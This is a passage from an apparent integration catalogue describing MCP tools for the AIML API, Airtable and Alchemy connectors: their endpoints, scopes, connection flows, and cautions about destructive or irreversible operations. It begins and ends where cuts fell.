GET /v2/billing/transactions. The account's billing ledger: top-ups, charges, bonuses, refunds, adjustments, model usage, expired credits. Filter by `from`/`to` date, `direction` (TOPUP or CHARGE) or `type`; page with `limit` (up to 100) and the `cursor` the previous page returned. GET /api/v1/aimlapi/v2/billing/transactions. Scopes: api. aimlapi_get_v2_generate_audio (read) — Get Audio Generation via GET /v2/generate/audio. Fetches an audio generation started by Generate Audio, by its `generation_id`. An unknown id answers 404 'Inference not found'. GET /api/v1/aimlapi/v2/generate/audio. Scopes: api. aimlapi_get_v2_logs (read) — List Request Logs via GET /v2/logs. The account's per-request log: which model, which key prefix, whether it succeeded, what it cost. Supply either `period` or BOTH `start` and `end` -- with neither, the call is refused with 400 'Query validation error!'. Filter by `model`, `key_prefix` or `status`, and page with `limit` (up to 100) and `offset`. GET /api/v1/aimlapi/v2/logs. Scopes: api. aimlapi_get_v2_usage (read) — Get Usage Summary via GET /v2/usage. Total spend and request count over a period. Supply either `period` (for example `24h`) or BOTH `start` and `end` -- with neither, the call is refused with 400 'Query validation error!'. Narrow to one key with `key_prefix`. GET /api/v1/aimlapi/v2/usage. Scopes: api. aimlapi_get_v2_usage_detail (read) — Get Usage Detail via GET /v2/usage/detail. Spend and request counts broken down by day, by model, or by both (`group_by`). Supply either `period` or BOTH `start` and `end` -- with neither, the call is refused with 400 'Query validation error!'. `tz` sets the timezone day boundaries are cut on. GET /api/v1/aimlapi/v2/usage/detail. Scopes: api. aimlapi_get_v2_video_generations (read) — Get Video Generation via GET /v2/video/generations. Fetches a video generation started by Generate Video, by its `generation_id`. Video generation is slow, so this is the poll call. An unknown id answers 404 'Inference not found'. GET /api/v1/aimlapi/v2/video/generations. Scopes: api. aimlapi_post_v1_batches (write) — Create Batch via POST /v1/batches. Submits a batch of inference requests for asynchronous processing. `requests` is an ARRAY of items, each with its own `custom_id` and `params`; the call is refused with 400 naming `requests` if it is missing. Returns a batch id to poll with Get Batch. POST /api/v1/aimlapi/v1/batches. Scopes: api. aimlapi_post_v1_batches_cancel_batch_id (write) — Cancel Batch via POST /v1/batches/cancel/{batch_id}. Cancels a batch that is still running, by its id. Requests already completed inside the batch are not undone -- this stops the ones that have not run. An unknown id answers 404 'Inference not found'. POST /api/v1/aimlapi/v1/batches/cancel/{batch_id}. Scopes: api. aimlapi_post_v1_chat_completions (write) — Create Chat Completion via POST /v1/chat/completions. The OpenAI-compatible chat completion call, and the main inference entry point: send `model` and `messages`, get a completion. Which further arguments are accepted depends on the model family the `model` id selects -- this schema is the union of every family's, so the provider, not this schema, decides whether `reasoning_effort` or `top_k` means anything for the model you chose, and says so in a 400 naming the exact field. Find a valid `model` with List Models. POST /api/v1/aimlapi/v1/chat/completions. Scopes: api. aimlapi_post_v1_embeddings (write) — Create Embeddings via POST /v1/embeddings. Turns `input` text into embedding vectors with the chosen embedding `model`. `dimensions` and `encoding_format` are accepted by the model families that support them. POST /api/v1/aimlapi/v1/embeddings. Scopes: api. aimlapi_post_v1_images_edits (write) — Edit Image via POST /v1/images/edits. Edits an existing `image` from a `prompt`, optionally confined to a `mask`. `n`, `size`, `quality`, `background` and `output_format` control the result. POST /api/v1/aimlapi/v1/images/edits. Scopes: api. aimlapi_post_v1_images_generations (write) — Generate Image via POST /v1/images/generations. Generates images from a `prompt` with the chosen image `model`. The arguments a given model takes vary widely -- `image_size`, `aspect_ratio`, `num_images`, `guidance_scale`, `seed`, `output_format`, safety and acceleration knobs -- and this schema is the union of every image family's; the provider refuses the ones the chosen model does not know, naming the field. POST /api/v1/aimlapi/v1/images/generations. Scopes: api. aimlapi_post_v1_messages (write) — Create Message via POST /v1/messages. The Anthropic-compatible messages call: send `model`, `messages` and `max_tokens`, get a message. `system`, `tools`, `tool_choice`, `thinking`, `stop_sequences` and `metadata` follow Anthropic's own shapes. Use Create Chat Completion for the OpenAI-shaped equivalent. POST /api/v1/aimlapi/v1/messages. Scopes: api. aimlapi_post_v1_ocr (write) — Run OCR via POST /v1/ocr. Extracts text from a `document` (a URL or base64 payload) with an OCR model. `pages` limits which pages are read and `include_image_base64` returns the page images alongside the text. POST /api/v1/aimlapi/v1/ocr. Scopes: api. aimlapi_post_v1_responses (write) — Create Model Response via POST /v1/responses. The OpenAI Responses-API call: send `model` and `input`, get a response object. Supports stateful conversation through `previous_response_id`, server-side storage through `store`, hosted tools through `tools`, and `background` for long runs -- poll a background response with Get Model Response. POST /api/v1/aimlapi/v1/responses. Scopes: api. aimlapi_post_v1_stt_create (write) — Create Transcription via POST /v1/stt/create. Starts a transcription of an audio `url` with a speech-to-text `model`. Returns a generation id; fetch the text with Get Transcription. Diarization, punctuation, redaction, summarization and intent/topic detection are available on the model families that support them. POST /api/v1/aimlapi/v1/stt/create. Scopes: api. aimlapi_post_v1_tts (write) — Create Speech via POST /v1/tts. Turns `text` into audio with a text-to-speech `model` and a `voice`. Voice, format, sample-rate and prosody arguments differ by provider family and this schema is their union. POST /api/v1/aimlapi/v1/tts. Scopes: api. aimlapi_post_v2_generate_audio (write) — Generate Audio via POST /v2/generate/audio. Starts a music or audio generation from a `prompt` (and `lyrics`, for the models that sing) with an audio `model`. Returns a generation id; fetch the result with Get Audio Generation. POST /api/v1/aimlapi/v2/generate/audio. Scopes: api. aimlapi_post_v2_generate_audio_preprocess (write) — Preprocess Reference Audio via POST /v2/generate/audio/preprocess. Prepares a `reference_audio_url` for the audio models that clone or cover a reference track, returning the handle those models take. POST /api/v1/aimlapi/v2/generate/audio/preprocess. Scopes: api. aimlapi_post_v2_video_generations (write) — Generate Video via POST /v2/video/generations. Starts a video generation from a `prompt` and/or an `image_url` with a video `model`. Returns a generation id; fetch the result with Get Video Generation. Duration, aspect ratio, resolution, audio and reference-image arguments vary by model family and this schema is their union. POST /api/v1/aimlapi/v2/video/generations. Scopes: api. ================================================================================ ## Airtable URL: https://www.agenticfabriq.com/integrations/airtable Section: Integrated Tools Airtable — 23 MCP tools Provider key: airtable. Scopes: data.recordComments:read, data.recordComments:write, data.records:read, data.records:write, schema.bases:read, schema.bases:write, user.email:read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. airtable_create_base (write) — Create a new, empty Airtable base in a workspace. Nothing is lost — but this is a ONE-WAY door: deleting a base needs an Enterprise Scale scope Agentic Fabriq does not request, so you cannot undo it and the base stays until a person removes it. The token's user must hold the workspace-creator role. Airtable publishes no list-workspaces endpoint below Enterprise, so the workspace id has to come from the workspace's URL. POST /api/v1/tools/airtable/bases. Scopes: schema.bases:write. airtable_create_comment (write) — Add a comment to one Airtable record. Airtable emails every collaborator named in an @mention, so a comment can reach people who have never used Agentic Fabriq — treat the text as outbound communication, not as an internal note. POST /api/v1/tools/airtable/comments. Scopes: data.recordComments:write. airtable_create_field (write) — Add a new, empty column to an Airtable table. Strictly additive — the column starts empty, so no existing cell changes. PERMANENT: Airtable publishes no delete-field endpoint at any plan. Some types require `options` (singleSelect needs choices, number needs precision); airtable_get_base_schema shows the shapes already in use in the base. POST /api/v1/tools/airtable/fields. Scopes: schema.bases:write. airtable_create_records (write) — Create up to 10 records in one Airtable table. Each entry is {"fields": {...}} keyed by field NAME (or field id) — call airtable_get_base_schema first, because a field name the table does not have is rejected rather than created. More than 10 records in one call is refused; split the batch. POST /api/v1/tools/airtable/records. Scopes: data.records:write. airtable_create_table (write) — Create a new, empty table in an Airtable base. Strictly additive — no existing data changes. PERMANENT: Airtable publishes no delete-table endpoint at any plan, so you cannot undo this and only a person can remove the table in the Airtable UI. At least one field is required and the first one becomes the primary field, which Airtable restricts to a few types (singleLineText is always safe). POST /api/v1/tools/airtable/tables. Scopes: schema.bases:write. airtable_delete_comment (write, destructive) — DESTRUCTIVE — delete one comment from an Airtable record. Unrecoverable: Airtable publishes no restore for comments. This is the only way to retract a comment an agent posted, and posting one emails every @mentioned collaborator, so retracting is often the right call. You can only delete comments this connection created, unless its token belongs to an enterprise admin. The record's field data is untouched. POST /api/v1/tools/airtable/comment/delete. Scopes: data.recordComments:write. airtable_delete_records (write, destructive) — DESTRUCTIVE — delete up to 10 records from one Airtable table. The records move to the base's trash: a base collaborator can restore them through the Airtable UI for a limited retention window, but there is no restore endpoint, so you cannot undo this call yourself. Confirm the record ids with airtable_get_record before calling. DELETE /api/v1/tools/airtable/records. Scopes: data.records:write. airtable_get_base_metadata (read) — Read one Airtable base's name, permission level and workspace id, and optionally its collaborators, interfaces or packages. Useful before a write: permissionLevel tells you whether this connection can actually edit the base. Invite links are deliberately not available through Agentic Fabriq. GET /api/v1/tools/airtable/base-metadata. Scopes: schema.bases:read. airtable_get_base_schema (read) — Get one Airtable base's tables, and for each table its fields (name, id and type) and views. Call this before writing records: airtable_create_records and airtable_update_records address fields by name or id, and a name that does not exist in the table is rejected by Airtable rather than created. GET /api/v1/tools/airtable/base-schema. Scopes: schema.bases:read. airtable_get_record (read) — Get one Airtable record by id, with all of its field values. Fields that are empty in Airtable are omitted from the response rather than returned as null. GET /api/v1/tools/airtable/record. Scopes: data.records:read. airtable_list_bases (read) — List the Airtable bases this connection can see, with each base's id, name and permission level. Start here: every other Airtable tool needs a base_id, and base ids are not guessable (they look like appAbC123XyZ). Returns at most 1000 bases per call plus an `offset` token; pass that token back for the next page. GET /api/v1/tools/airtable/bases. Scopes: schema.bases:read. airtable_list_comments (read) — List the comments on one Airtable record, each with its author, text and creation time. Comments are a separate resource from field values: reading a record does not return them. GET /api/v1/tools/airtable/comments. Scopes: data.recordComments:read. airtable_list_records (read) — List records in one Airtable table, one page at a time, optionally SORTED. Returns at most 100 records per call plus an `offset` token; pass that token back to read the next page. An empty `records` array with no `offset` means the table (or the filtered view) is exhausted. Prefer `sort` + `max_records` over reading every page and sorting yourself — "the 5 most recent open leads" is one call. POST /api/v1/tools/airtable/records/query. Scopes: data.records:read. airtable_replace_records (write, destructive) — DESTRUCTIVE — replace up to 10 Airtable records, CLEARING every field you do not name. This is Airtable's PUT form: a field absent from your `fields` object is emptied, not left alone, and Airtable publishes no restore endpoint. Use airtable_update_records unless you specifically intend to blank the omitted fields. If you are not certain what a record currently holds, call airtable_get_record first — reading it is also how you undo this, by writing the old values back. Requires confirm='clear-unnamed-fields'. PUT /api/v1/tools/airtable/records. Scopes: data.records:write. airtable_sync_csv (write, destructive) — DESTRUCTIVE — bulk-load CSV into an Airtable table the customer configured in the Airtable UI as an API-endpoint sync source, REPLACING that table's contents. Up to 10,000 rows, 500 columns and 2 MB per call, and Airtable rate-limits this to 20 requests per 5 minutes per base. TWO PROVIDER GATES: the Pro plan or above, AND a personal access token — Airtable does not accept an OAuth token on this endpoint however it is scoped. Both failures arrive as a 403. This is not a general table writer; use airtable_create_records or airtable_upsert_records for ordinary tables. POST /api/v1/tools/airtable/sync. Scopes: data.records:write, schema.bases:write. airtable_update_comment (write) — Edit a comment on an Airtable record. Airtable emails every collaborator named in an @mention AGAIN on the edit, so this is outbound communication, not a silent correction. You can only edit comments this connection created, unless its token belongs to an enterprise admin. Get the comment id from airtable_list_comments. PATCH /api/v1/tools/airtable/comment. Scopes: data.recordComments:write. airtable_update_date_dependency (write) — Set how one task's dates follow another's in an Airtable timeline: the dependency kind and the buffer in whole days, on a predecessor link that ALREADY EXISTS between two records. It creates no link, deletes no link and changes no cell value, and re-writing the previous values restores it exactly. The predecessor record must already be linked in the successor's predecessor field or Airtable rejects the call. Airtable ships this endpoint behind a feature flag, so an account without it enabled returns an error it will not explain. PATCH /api/v1/tools/airtable/record/date-dependency. Scopes: data.records:write. airtable_update_field (write) — Change an Airtable field's name, description, or — for a formula field — its formula expression. A formula rewrite changes a DERIVED column: Airtable recomputes every row, no stored value is coerced or discarded, and writing the old expression back undoes it exactly, so read the current one from airtable_get_base_schema first. You still cannot change a field's TYPE through this endpoint; Airtable does not publish that at all. Renaming is reversible too, but references keyed on the old name break silently — filterByFormula strings, view filters, automations and third-party integrations, none of which Airtable reports. PATCH /api/v1/tools/airtable/fields. Scopes: schema.bases:write. airtable_update_records (write) — Update up to 10 Airtable records, changing ONLY the fields named in the request. Fields you do not name are left exactly as they are. Each entry needs an existing record `id` — use airtable_create_records for new rows. More than 10 records in one call is refused; split the batch. PATCH /api/v1/tools/airtable/records. Scopes: data.records:write. airtable_update_table (write) — Rename an Airtable table or change its description. The rows are untouched and a rename is reversible — but every reference keyed on the OLD name breaks silently: filterByFormula strings, view filters, automations and third-party integrations. Airtable reports none of that in the response, so check before renaming a table anything else depends on. PATCH /api/v1/tools/airtable/tables. Scopes: schema.bases:write. airtable_upload_attachment (write) — Append one file, up to 5 MB, to an attachment cell on an Airtable record. Additive — nothing already in the cell is replaced or removed. The file travels as base64, so keep it small; for anything large, write a public URL into the attachment field with airtable_update_records instead and let Airtable fetch it. POST /api/v1/tools/airtable/attachment. Scopes: data.records:write. airtable_upsert_records (write) — Create-or-update up to 10 Airtable records in one call, matched on 1-3 key fields. Use this instead of listing, diffing and then splitting into creates and updates — that is three round trips and it races anything else writing the table. One match updates that record; no match creates one; MORE THAN ONE MATCH FAILS THE WHOLE REQUEST rather than guessing which row was meant. Fields you do not name are left untouched. POST /api/v1/tools/airtable/records/upsert. Scopes: data.records:write. airtable_whoami (read) — Identify the Airtable account this connection belongs to, returning its user id and email address. On an OAuth connection the response also lists the scopes the token actually holds; a personal access token reports none, so its scope set cannot be verified this way. GET /api/v1/tools/airtable/whoami. Scopes: user.email:read. ================================================================================ ## Alchemy URL: https://www.agenticfabriq.com/integrations/alchemy Section: Integrated Tools Alchemy — 55 MCP tools Provider key: alchemy. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. alchemy_delete_api_gasmanager_policy_by_id (write, destructive) — Deletes a policy by id. Uses a connection holding an Alchemy access key with the Gas Manager (Read & Write) permission. Gas Manager Admin API is a paid-plan feature. DELETE /api/v1/alchemy/gas-manager/api/gasManager/policy/{id}. Scopes: api. alchemy_delete_delete_webhook (write, destructive) — Allows you to delete a webhook. Uses a connection holding the Alchemy Notify auth token. DELETE /api/v1/alchemy/notify/delete-webhook. Scopes: api. alchemy_delete_graphql_variables_by_variable (write, destructive) — This endpoint allows you to delete a Custom Webhook variable. Uses a connection holding the Alchemy Notify auth token. DELETE /api/v1/alchemy/notify/graphql/variables/{variable}. Scopes: api. alchemy_delete_v1_apps_by_id (write, destructive) — Permanently removes an application and its associated API keys. This action cannot be undone. Uses a connection holding an Alchemy access key with the App Management (Read & Write) permission. Permanently deletes the app AND its API keys; a connection using that key stops working. DELETE /api/v1/alchemy/admin/v1/apps/{id}. Scopes: api. alchemy_get_api_gasmanager_policies (read) — Returns all policies. The results are paginated. Uses a connection holding an Alchemy access key with the Gas Manager (Read) permission. Gas Manager Admin API is a paid-plan feature. GET /api/v1/alchemy/gas-manager/api/gasManager/policies. Scopes: api. alchemy_get_api_gasmanager_policy_by_id (read) — Returns a policy by id. Uses a connection holding an Alchemy access key with the Gas Manager (Read) permission. Gas Manager Admin API is a paid-plan feature. GET /api/v1/alchemy/gas-manager/api/gasManager/policy/{id}. Scopes: api. alchemy_get_api_gasmanager_policy_by_id_sponsorships (read) — Returns a list of sponsorships associated with the specified policy ID. The results are paginated. Uses a connection holding an Alchemy access key with the Gas Manager (Read) permission. Gas Manager Admin API is a paid-plan feature. GET /api/v1/alchemy/gas-manager/api/gasManager/policy/{id}/sponsorships. Scopes: api. alchemy_get_api_gasmanager_policy_by_id_stats_detailed (read) — Returns stats about a policy specified by ID. Uses a connection holding an Alchemy access key with the Gas Manager (Read) permission. Gas Manager Admin API is a paid-plan feature. GET /api/v1/alchemy/gas-manager/api/gasManager/policy/{id}/stats/detailed. Scopes: api. alchemy_get_graphql_variables_by_variable (read) — This endpoint allows you to read the values within a Custom Webhook variable. It supports pagination with `limit` and `after` (and optionally `pageKey`) query parameters. Uses a connection holding the Alchemy Notify auth token. GET /api/v1/alchemy/notify/graphql/variables/{variable}. Scopes: api. alchemy_get_team_webhooks (read) — This endpoint allows you to get all webhooks on your team. Uses a connection holding the Alchemy Notify auth token. GET /api/v1/alchemy/notify/team-webhooks. Scopes: api. alchemy_get_tokens_by_symbol (read) — Fetches current prices for multiple tokens using their symbols. Returns a list of token prices, each containing the symbol, prices, and an optional error field. Uses a connection holding an Alchemy app API key. GET /api/v1/alchemy/prices/v1/tokens/by-symbol. Scopes: api. alchemy_get_v1_apps (read) — Retrieves a paginated list of all applications associated with your account. Each app includes its API keys, configured chain networks with RPC endpoints, and creation timestamp. Uses a connection holding an Alchemy access key with the App Management (Read) permission. GET /api/v1/alchemy/admin/v1/apps. Scopes: api. alchemy_get_v1_apps_by_id (read) — Retrieves detailed information about a specific application, including its API keys, configured chain networks with RPC/WebSocket/gRPC endpoints, enabled products, security allowlists, and creation timestamp. Uses a connection holding an Alchemy access key with the App Management (Read) permission. GET /api/v1/alchemy/admin/v1/apps/{id}. Scopes: api. alchemy_get_v1_chains (read) — Retrieves a list of all blockchain networks supported by Alchemy, including their identifiers, display names, testnet status, and availability. Use this endpoint to discover valid network values for configuring app network allowlists. Uses a connection holding an Alchemy access key with the App Management (Read) permission. GET /api/v1/alchemy/admin/v1/chains. Scopes: api. alchemy_get_v1_usage_summary (read) — Retrieves usage totals for the current billing period and recent rolling windows. Uses a connection holding an Alchemy access key with the Usage (Read) permission. GET /api/v1/alchemy/admin/v1/usage/summary. Scopes: api. alchemy_get_v3_getcontractmetadata (read) — Retrieves high-level collection or contract-level information for an NFT. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getContractMetadata. Scopes: api. alchemy_get_v3_getcontractsforowner (read) — Retrieves all NFT contracts held by a specified owner address. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getContractsForOwner. Scopes: api. alchemy_get_v3_getfloorprice (read) — Retrieves the floor prices of an NFT collection across different marketplaces. Please note that this endpoint is available on Ethereum mainnet, Arbitrum mainnet, and Base mainnet for Opensea, and on Ethereum mainnet for Looksrare. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getFloorPrice. Scopes: api. alchemy_get_v3_getnftmetadata (read) — Retrieves the metadata associated with a specific NFT. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getNFTMetadata. Scopes: api. alchemy_get_v3_getnftsforcollection (read) — Retrieves all NFTs associated with a specific NFT collection. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getNFTsForCollection. Scopes: api. alchemy_get_v3_getnftsforcontract (read) — Retrieves all NFTs associated with a specific NFT contract. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getNFTsForContract. Scopes: api. alchemy_get_v3_getnftsforowner (read) — Retrieves all NFTs currently owned by a specified address. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getNFTsForOwner. Scopes: api. alchemy_get_v3_getownersforcontract (read) — Retrieves all owners associated with a specific NFT contract. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getOwnersForContract. Scopes: api. alchemy_get_v3_getownersfornft (read) — Retrieves the owner(s) for a specific token. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/getOwnersForNFT. Scopes: api. alchemy_get_v3_isspamcontract (read) — Determines whether a specific contract is marked as spam by Alchemy. Please note that this API endpoint is only available to paid tier customers. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. GET /api/v1/alchemy/nft/v3/isSpamContract. Scopes: api. alchemy_get_v3_reportspam (write) — Reports a specific address to the API if it is suspected to be spam. Spam NFT functionality is available on Mainnet for the following chains: Base, Arbitrum, Optimism, Ethereum, Polygon, Worldchain, Avax, BNB, Gnosis, Zksync, Unichain, and Blast. More to come soon! Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. A write despite the GET verb: it files a spam report. GET /api/v1/alchemy/nft/v3/reportSpam. Scopes: api. alchemy_get_webhook_addresses (read) — Paginated endpoint to list all of the addresses a given Address Activity webhook is subscribed to. Uses a connection holding the Alchemy Notify auth token. GET /api/v1/alchemy/notify/webhook-addresses. Scopes: api. alchemy_get_webhook_nft_filters (read) — Paginated endpoint to list all of the NFT filter objects a given webhook is subscribed to. Uses a connection holding the Alchemy Notify auth token. GET /api/v1/alchemy/notify/webhook-nft-filters. Scopes: api. alchemy_patch_graphql_variables_by_variable (write) — Add and remove elements within a Custom Webhook variable The use of both `add` and `delete` arrays within a single request is currently not supported. Attempting to send both will result in a 400 error. To add and remove elements, make separate API calls for each action. Uses a connection holding the Alchemy Notify auth token. PATCH /api/v1/alchemy/notify/graphql/variables/{variable}. Scopes: api. alchemy_patch_update_webhook_addresses (write) — Add or remove addresses from a specific webhook. *This webhook endpoint is idempotent, meaning that identical requests can be made once or several times with the same effect.*. Uses a connection holding the Alchemy Notify auth token. PATCH /api/v1/alchemy/notify/update-webhook-addresses. Scopes: api. alchemy_patch_update_webhook_nft_filters (write) — Add and remove webhook NFT filters. Uses a connection holding the Alchemy Notify auth token. PATCH /api/v1/alchemy/notify/update-webhook-nft-filters. Scopes: api. alchemy_patch_v1_apps_by_id (write) — Updates an application's metadata such as its name or description. Returns the full updated app object. Uses a connection holding an Alchemy access key with the App Management (Read & Write) permission. PATCH /api/v1/alchemy/admin/v1/apps/{id}. Scopes: api. alchemy_post_api_gasmanager_policy (write) — Creates a new gas manager policy with the specified rules. The newly created policy will be in the `inactive` status. Uses a connection holding an Alchemy access key with the Gas Manager (Read & Write) permission. Gas Manager Admin API is a paid-plan feature. POST /api/v1/alchemy/gas-manager/api/gasManager/policy. Scopes: api. alchemy_post_assets_nfts_by_address (read) — Fetches NFTs for multiple wallet addresses and networks. Returns a list of NFTs and metadata for each wallet/network combination. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. POST /api/v1/alchemy/data/v1/assets/nfts/by-address. Scopes: api. alchemy_post_assets_nfts_contracts_by_address (read) — Fetches NFT collections (contracts) for multiple wallet addresses and networks. Returns a list of collections and metadata for each wallet/network combination. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. POST /api/v1/alchemy/data/v1/assets/nfts/contracts/by-address. Scopes: api. alchemy_post_assets_tokens_balances_by_address (read) — Fetches fungible tokens (native, ERC-20, and SPL) for multiple wallet addresses and networks. Returns a list of tokens with balances for each wallet/network combination. This endpoint is supported on Ethereum, Solana, and 30+ EVM chains. Uses a connection holding an Alchemy app API key. POST /api/v1/alchemy/data/v1/assets/tokens/balances/by-address. Scopes: api. alchemy_post_assets_tokens_by_address (read) — Fetches fungible tokens (native, ERC-20 and SPL) for multiple wallet addresses and networks. Returns a list of tokens with balances, prices, and metadata for each wallet/network combination. This endpoint is supported on Ethereum, Solana, and 30+ EVM chains. Uses a connection holding an Alchemy app API key. POST /api/v1/alchemy/data/v1/assets/tokens/by-address. Scopes: api. alchemy_post_create_webhook (write) — This endpoint allows you to create a webhook. Uses a connection holding the Alchemy Notify auth token. The Free plan allows 5 webhooks. POST /api/v1/alchemy/notify/create-webhook. Scopes: api. alchemy_post_graphql_variables_by_variable (write) — This endpoint allows you to create a variable that can be inserted into a Custom Webhook GraphQL statement. If the variable does not exist, it is created with the provided items. Uses a connection holding the Alchemy Notify auth token. POST /api/v1/alchemy/notify/graphql/variables/{variable}. Scopes: api. alchemy_post_tokens_by_address (read) — Fetches current prices for multiple tokens using network and address pairs. Returns a list of token prices, each containing the network, address, prices, and an optional error field. Uses a connection holding an Alchemy app API key. POST /api/v1/alchemy/prices/v1/tokens/by-address. Scopes: api. alchemy_post_tokens_historical (read) — Provides historical price data for a single token over a time range. You can identify the token by symbol or by network and contract address. Uses a connection holding an Alchemy app API key. POST /api/v1/alchemy/prices/v1/tokens/historical. Scopes: api. alchemy_post_transactions_history_by_address (read) — Fetches all historical transactions (internal & external) for multiple wallet addresses and networks. (Currently limited to Ethereum and Base with a limit of 1 address) Returns a list of transaction objects with metadata and log information. Please use `alchemy_getAssetTransfers` instead. Uses a connection holding an Alchemy app API key. Alchemy has scheduled this beta endpoint for removal; its replacement is a JSON-RPC method this integration does not expose. POST /api/v1/alchemy/data/v1/transactions/history/by-address. Scopes: api. alchemy_post_v1_apps (write) — Creates a new application with the specified name, network allowlist, and optional description and products. Returns the created app with its generated API keys and configured chain network endpoints. Uses a connection holding an Alchemy access key with the App Management (Read & Write) permission. The Free plan allows 5 apps. POST /api/v1/alchemy/admin/v1/apps. Scopes: api. alchemy_post_v1_usage_time_series (read) — Retrieves usage over time in hourly or daily buckets. You can filter by product, app, network, method, and request type. You can group by up to three dimensions. When more data remains, the response includes `cursor`. Uses a connection holding an Alchemy access key with the Usage (Read) permission. POST /api/v1/alchemy/admin/v1/usage/time-series. Scopes: api. alchemy_post_v3_getcontractmetadatabatch (read) — Retrieves metadata for a list of specified contract addresses in a single request. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. POST /api/v1/alchemy/nft/v3/getContractMetadataBatch. Scopes: api. alchemy_post_v3_getnftmetadatabatch (read) — Retrieves metadata for up to 100 specified NFT contracts in a single request. This endpoint is supported on Ethereum and many L2s, including Polygon, Arbitrum, Optimism, Base, World Chain and more. Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. POST /api/v1/alchemy/nft/v3/getNFTMetadataBatch. Scopes: api. alchemy_post_v3_refreshnftmetadata (write) — Submits a request for Alchemy to refresh the cached metadata of a specific NFT token. Please note that this endpoint is only supported on Ethereum (Mainnet & Sepolia), Polygon (Mainnet, Mumbai & Amoy), Arbitrum One (mainnet), Optimism (mainnet) & Base (mainnet). Uses a connection holding an Alchemy app API key. Queries the connection's NFT network. POST /api/v1/alchemy/nft/v3/refreshNftMetadata. Scopes: api. alchemy_put_api_gasmanager_policy_by_id (write) — Replaces all rules in an existing policy by id. Uses a connection holding an Alchemy access key with the Gas Manager (Read & Write) permission. Gas Manager Admin API is a paid-plan feature. Replaces ALL rules of the policy. PUT /api/v1/alchemy/gas-manager/api/gasManager/policy/{id}. Scopes: api. alchemy_put_api_gasmanager_policy_by_id_status (write) — Modifies the status of a policy to either "active" or "inactive". Uses a connection holding an Alchemy access key with the Gas Manager (Read & Write) permission. Gas Manager Admin API is a paid-plan feature. PUT /api/v1/alchemy/gas-manager/api/gasManager/policy/{id}/status. Scopes: api. alchemy_put_update_webhook (write) — Update webhook properties such as name or status. Uses a connection holding the Alchemy Notify auth token. PUT /api/v1/alchemy/notify/update-webhook. Scopes: api. alchemy_put_update_webhook_addresses (write) — Replace entire list of addresses tracked in a given webhook. Uses a connection holding the Alchemy Notify auth token. Replaces the webhook's entire address list; use the PATCH variant to add or remove addresses. PUT /api/v1/alchemy/notify/update-webhook-addresses. Scopes: api. alchemy_put_v1_apps_by_id_address_allowlist (write, destructive) — Replaces the address allowlist for an application, controlling which wallet addresses are permitted to interact with the app. The provided list fully replaces the existing allowlist. Uses a connection holding an Alchemy access key with the App Management (Read & Write) permission. DESTRUCTIVE: replaces the app's whole address allowlist. PUT /api/v1/alchemy/admin/v1/apps/{id}/address-allowlist. Scopes: api. alchemy_put_v1_apps_by_id_ip_allowlist (write, destructive) — Replaces the IP allowlist for an application, controlling which IP addresses or CIDR ranges are authorized to send requests. The provided list fully replaces the existing allowlist. Uses a connection holding an Alchemy access key with the App Management (Read & Write) permission. DESTRUCTIVE: replaces the app's whole IP allowlist; an allowlist that omits Agentic Fabriq's egress IP locks this integration out of the app. PUT /api/v1/alchemy/admin/v1/apps/{id}/ip-allowlist. Scopes: api. alchemy_put_v1_apps_by_id_networks (write, destructive) — Replaces the network allowlist for an application, controlling which blockchain networks the app can access. The provided list fully replaces the existing allowlist. Uses a connection holding an Alchemy access key with the App Management (Read & Write) permission. DESTRUCTIVE: replaces the app's whole network allowlist; a chain left out stops answering for that app's key. PUT /api/v1/alchemy/admin/v1/apps/{id}/networks. Scopes: api. alchemy_put_v1_apps_by_id_origin_allowlist (write, destructive) — Replaces the 